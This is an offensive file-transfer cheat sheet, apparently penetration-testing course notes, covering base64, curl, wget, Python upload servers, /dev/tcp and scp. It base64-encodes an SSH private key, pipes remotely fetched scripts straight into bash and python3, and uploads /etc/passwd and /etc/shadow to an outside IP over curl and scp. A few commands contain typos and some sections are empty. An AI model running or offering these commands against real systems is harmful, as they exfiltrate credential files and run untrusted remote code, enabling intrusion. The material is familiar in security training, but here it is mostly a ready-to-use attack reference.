BASE64
Check MD5 Hash
Encode
In this example we are encoding SSH Key to Base64
cat id_rsa |base64 -w 0;echo
Decode
echo -n 'justimaginethisissomerandomhashbecauseyoudontcareandidontcare=` | base64 -d > id_rsa
CURL
Regular Download
curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
Fileless Download
curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash
Multiple File Upload
curl -X POST https://13.13.13.13/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure
WGET
Regular Download
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh
Fileless Download
wget -qO- https://raw.githubusercontent.com/juliourena/plaintext/master/Scripts/helloworld.py | python3
Upload
Mechanism is similar to Windows web upload using uploadserver module:
sudo python3 -m pip install --user uploadserver
Secure HTTPS Web Server
sudo python3 -m pip install --user uploadserver
Create a Self-Signed Certificate
openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'
mkdir https && cd https
sudo python3 -m uploadserver 443 --server-certificate /root/server.pem
Alternative Methods
Creating a Web Server with Python3
python3 -m http.server
Creating a Web Server with Python2.7
python2.7 -m SimpleHTTPServer
Creating a Web Server with PHP
Creating a Web Server with Ruby
ruby -run -ehttpd . -p8000
Bash(/dev/tcp)
Connect to the Target Webserver
exec 3<>/dev/tcp/13.13.13.13/80
HTTP GET Request
echo -e "GET /LinEnum.sh HTTP/1.1\n\n">&3
Print the Response
SCP
SSH is a protocol that allows secure access to remote computers. And we could use SCP utility which uses SSH protocol for transferring files
Preparation
Enabling the SSH Server
sudo systemctl enable ssh
Starting the SSH Server
sudo systemctl start ssh
Checking for SSH Listening Port
Download
scp sreed@13.13.13.13.:/root/root.txt .
Upload
scp /etc/passwd sreed@13.13.13.13:/home/plaintext/
